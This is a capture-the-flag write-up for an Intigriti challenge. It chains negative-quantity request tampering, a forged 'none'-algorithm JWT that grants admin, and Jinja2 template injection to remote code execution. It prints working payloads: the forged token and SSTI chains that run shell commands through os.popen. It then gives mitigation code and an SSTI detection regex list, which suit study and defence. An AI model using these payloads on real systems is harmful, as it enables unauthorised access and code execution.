Intigriti November Challenge: SSTI to RCE
Scope
This challenge runs from 17/11/2025 1:00 PM until 24/11/2025, 11:59 PM UTC. Out of all correct submissions, we will draw six winners on Wednesday 26/11/2025:
- Three randomly drawn correct submissions
- Three best write-ups
The solution:
- Should leverage a remote code execution vulnerability on the challenge page
- Shouldn’t be self-XSS or related to MiTM attacks.
- Should require no user interaction.
- Should include:
- The flag in the format INTIGRITI{.*}
- The payload(s) used
- Steps to solve (short description / bullet points)
- Should be reported on the Intigriti platform.
Initial Reconnaissance
Tools Used
- Burp Suite Professional (request interception & tampering)
- JWT.io / jwt_tool (token analysis)
- Browser DevTools (network analysis, cookie manipulation)
Application Fingerprinting
- Framework Detected: Flask (Python)
- Template Engine: Jinja2
- Authentication: JWT-based
Discovery: Request Tampering (Negative Amount Charging)
While testing normal charge functionality, I intercepted the request in Burp Suite:
Original Request:
POST /cart/add/1 HTTP/2
Host: challenge.-1125intigriti.io
...
quantity=1
Modified Request (Testing for validation):
POST /cart/add/1 HTTP/2
Host: challenge.-1125intigriti.io
...
quantity=-1000
Result: Server accepted negative value without validation, allowing a charge back and crediting account instead of debiting. Impact: Business logic bypass, potential for unlimited account credit.
Discovery: JWT Algorithm Confusion Attack (None Algorithm)
Step 1: Token Analysis Captured JWT from login response:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo1LCJ1c2VybmFtZSI6ImhheG9yIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NjM1OTM0OTN9.8jAUDow1hjJRL-4Vo3KpmRfCsLqh0D8yuizWV54zSWg
Decoded payload:
{
"alg": "HS256",
"typ": "JWT"
}
{
"user_id": 5,
"username": "haxor",
"role": "user",
"exp": 1763593493
}
Step 2: Exploitation Attempt Tested if server accepts “none” algorithm (CVE-2015-9235): Modified header:
{
"alg": "none",
"typ": "JWT"
}
Modified payload:
{
"user_id": 1,
"username": "admin",
"role": "admin",
"exp": 1763593493
}
Crafted Token:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzYzNTkzNDkzfQ.
Important: Note the trailing dot with no signature!
Step 3: Verification Replaced cookie value and accessed /admin endpoint -> Success!
- We now have admin access without admin creds.
Discovery: Server-Side Template Injection (SSTI) - Jinja2
Initial Detection
Test 1: Basic Template Syntax
Input: {{ 7*'7' }}
Output: 7777777
Confirmed template injection
Likely Jinja2 template engine
Further Confirmation: Framework & Technology Stack Analysis
Module Enumeration To identify the underlying technology stack, I enumerated all loaded Python modules:
Payload:
{{ self.__init__.__globals__.__builtins__.__import__('sys').modules.keys() }}
Key Findings:
Confirmed Technology Stack
| Component | Technology | Version/Notes |
|---|---|---|
| Web Framework | Flask | Full Flask stack detected |
| WSGI Server | Gunicorn | Production deployment (not dev server) |
| Template Engine | Jinja2 | Default Flask templating |
| Database ORM | SQLAlchemy | With Flask-SQLAlchemy extension |
| Database | SQLite3 | Embedded database |
| JWT Library | PyJWT | Authentication implementation |
| String Safety | MarkupSafe | Template escaping library |
Application Architecture
Detected Modules:
flask.app <- Main Flask application
flask.config <- Configuration (not exposed in template context)
flask.ctx <- Request/application context
werkzeug <- WSGI utilities
gunicorn <- Production WSGI server
jinja2 <- Template engine
Exploitation
Payload Development
Approach: Since we need RCE, target the os module via Python’s introspection chain:
Chain Breakdown:
self.__init__- Get initialization method.__globals__- Access global namespace.__builtins__- Access built-in functions.__import__('os')- Import OS module.popen('command')- Execute command
Payload:
{{ self.__init__.__globals__.__builtins__.__import__('os')
.popen('grep -r "INTIGRITI{" /app 2>/dev/null').read() }}
Data Exfiltration
Locating the flag
Adjust payload to narrow search to common CTF directories
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('grep -r "INTIGRITI{" /home /var /tmp /opt /app 2>/dev/null').read() }}
Flag located!
Extracting the flag
Adjust payload to extract contents of 019a82cf.txt
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /app/.aquacommerce/019a82cf.txt').read() }}
Flag Captured
INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}
Executive Summary
- Challenge Name: Intigriti November 2025 Challenge
- Challenge Type: Web Application Security - RCE via SSTI
- Vulnerabilities Found:
- Business Logic Flaw (Negative Charge)
- JWT Algorithm Confusion (None Algorithm)
- SSTI in Admin Profile (RCE)
- Final Flag: INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}
Attack Chain Visualization
Step 1: Initial Access
Created regular user account
Explored application functionality
Identified charge feature and admin panel
↓
Step 2: Business Logic Flaw
Discovered negative charge vulnerability
Modified request to charge negative amounts
Bypassed client-side validation
↓
Step 3: JWT Analysis
Captured and decoded JWT token
Identified HS256 algorithm in use
Tested for algorithm confusion vulnerability
↓
Step 4: Authentication Bypass
Modified JWT algorithm to "none"
Changed role from "user" to "admin"
Successfully bypassed authentication
↓
Step 5: Admin Access
Gained access to admin panel
Discovered profile update functionality
Identified potential injection points
↓
Step 6: SSTI Discovery
Tested admin profile field with {{ 7*'7' }}
Confirmed Jinja2 template injection
Developed RCE payload chain
↓
Step 7: Remote Code Execution
Executed OS commands via SSTI
Searched filesystem for flag pattern
Located flag file in /app/.aquacommerce/
↓
Step 8: Flag Retrieved
INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}
Vulnerability Impact Assessment
| Vulnerability | Severity | CVSS | Impact |
|---|---|---|---|
| Negative Charge | Medium | 6.5 | Financial loss, account manipulation |
| JWT None Alg | High | 8.1 | Authentication bypass, privilege escalation |
| SSTI RCE | Critical | 9.8 | Full system compromise, data exfiltration |
Combined Impact: Critical - Complete application compromise with ability to execute arbitrary code, access sensitive data, and manipulate business logic.
Prevention and Mitigation
Request Tampering (Negative Amount Charging)
Protection Measures:
- Server-Side Input Validation: Implement strict server-side validation that rejects negative values, zero values, or values outside expected ranges
- Business Logic Checks: Add validation that checks if the transaction makes business sense before processing
Mitigation Code Example:
def validate_transaction_amount(amount):
if not isinstance(amount, (int, float)):
raise ValueError("Amount must be numeric")
if amount <= 0:
raise ValueError("Amount must be positive")
if amount > MAX_TRANSACTION_LIMIT:
raise ValueError("Amount exceeds maximum limit")
return Decimal(str(amount)).quantize(Decimal('0.01'))
JWT Algorithm Confusion Attack (None Algorithm)
Protection Measures:
- Explicitly Reject “none” Algorithm: Configure JWT library to reject unsigned tokens
- Algorithm Whitelist: Only accept specific signing algorithms (e.g., HS256, RS256)
- Key-Algorithm Binding: Bind keys to specific algorithms to prevent substitution
- Use Asymmetric Signing: Use RS256/ES256 instead of HS256 when possible
Mitigation Code Example:
# Python with PyJWT
import jwt
# WRONG - Vulnerable
payload = jwt.decode(token, verify=False) # Never do this!
# CORRECT - Secure
payload = jwt.decode(
token,
key=SECRET_KEY,
algorithms=['HS256'], # Explicit whitelist
options={
'verify_signature': True,
'require': ['exp', 'iat', 'sub'] # Require critical claims
}
)
Additional JWT Security Measures:
- Implement short token expiration times (15-30 minutes for access tokens)
- Use refresh tokens with proper rotation
- Add JTI (JWT ID) claim for token revocation capability
- Implement token binding to specific user agents or IP addresses (with caution)
- Store sensitive operations in server-side sessions, not in JWT claims
Server-Side Template Injection (SSTI) - Jinja2
Protection Measures:
Primary Defense: Never Trust User Input in Templates
Option A: Eliminate Template Rendering of User Input (Best)
# WRONG - Vulnerable
template = Template(user_input)
output = template.render()
# CORRECT - Just display user input, don't render it
output = escape(user_input) # HTML escape only
Option B: Use Sandboxed Environment (If Dynamic Templates Required)
from jinja2.sandbox import SandboxedEnvironment
# Create sandboxed environment
env = SandboxedEnvironment(
autoescape=True,
trim_blocks=True,
lstrip_blocks=True
)
# Disable dangerous features
env.globals.clear()
env.filters.clear()
# Only add safe, whitelisted functions
env.globals['safe_function'] = safe_function
template = env.from_string(user_controlled_template)
Option C: Template Precompilation (Recommended)
# Store templates separately from user data
# User can only select from pre-approved templates
APPROVED_TEMPLATES = {
'welcome': 'templates/welcome.html',
'profile': 'templates/profile.html'
}
template_name = user_input # e.g., 'profile'
if template_name not in APPROVED_TEMPLATES:
raise ValueError("Invalid template")
template = env.get_template(APPROVED_TEMPLATES[template_name])
output = template.render(username=escape(username))
Additional SSTI Protections:
- Input Validation: Reject input containing template syntax ({{, {%, __, import, eval, etc.)
- Content Security Policy: Implement strict CSP headers
- Principle of Least Privilege: Run application with minimal system permissions
- WAF Rules: Deploy Web Application Firewall with SSTI detection rules
Detection Pattern:
import re
SSTI_PATTERNS = [
r'\{\{.*\}\}', # Jinja2 variable
r'\{%.*%\}', # Jinja2 statement
r'__.*__', # Python magic methods
r'\.__(globals|builtins|import)__', # Dangerous attributes
r'\bimport\b', # Import statements
r'\beval\b|\bexec\b', # Code execution
]
def detect_ssti(user_input):
for pattern in SSTI_PATTERNS:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
Defense in Depth Strategy
Application Level:
- Implement Role-Based Access Control (RBAC) properly
- Use parameterized queries for database operations
- Apply the principle of least privilege for all operations
- Implement comprehensive logging and monitoring
Infrastructure Level:
- Run applications in containers with restricted capabilities
- Use AppArmor/SELinux profiles to restrict file system access
- Implement network segmentation
- Use read-only file systems where possible
Monitoring & Detection:
# Log suspicious activities
import logging
def log_security_event(event_type, details):
logging.warning(
f"SECURITY: {event_type}",
extra={
'event_type': event_type,
'details': details,
'timestamp': datetime.utcnow(),
'ip_address': request.remote_addr,
'user_agent': request.headers.get('User-Agent')
}
)
# Example usage
if detect_ssti(profile_data):
log_security_event('SSTI_ATTEMPT', {'input': profile_data[:100]})
abort(400, "Invalid input detected")
Summary of Critical Mitigations
- Never trust client-side data - Always validate on server
- Never use “none” algorithm for JWTs - Use explicit algorithm whitelisting
- Never render user input as templates - Separate data from code
- Implement multiple layers of defense - Don’t rely on single controls
- Monitor and alert on suspicious patterns - Enable rapid response